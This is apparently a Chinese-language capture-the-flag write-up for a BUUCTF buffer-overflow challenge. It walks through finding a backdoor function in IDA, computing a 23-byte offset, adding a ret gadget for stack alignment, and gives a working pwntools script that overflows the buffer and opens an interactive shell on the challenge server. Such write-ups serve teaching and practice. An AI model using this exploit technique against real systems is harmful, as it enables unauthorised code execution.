话不多说,直接上题(BUUCTF)

IDA64 反编译

去找后门函数

记录地址

缓冲区 s 存在明显栈溢出

15 + 8 覆盖掉这段地址到 r 返回地址中
64 位系统还需要保持一个栈平衡,需要找 lea 的地址或者该函数结束即 retn 的地址
当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前
esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址一定要是 call 指令的下一个地址

编写脚本
from pwn import *
p = remote("node5.buuoj.cn", 26964)
payload = b'a' * 23 + p64(0x401198) + p64(0x401186)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END













![表情[se] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/se.gif)
![表情[zhayanjian] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/zhayanjian.gif)
![表情[jie] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/jie.gif)
![表情[qiang] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/qiang.gif)



暂无评论内容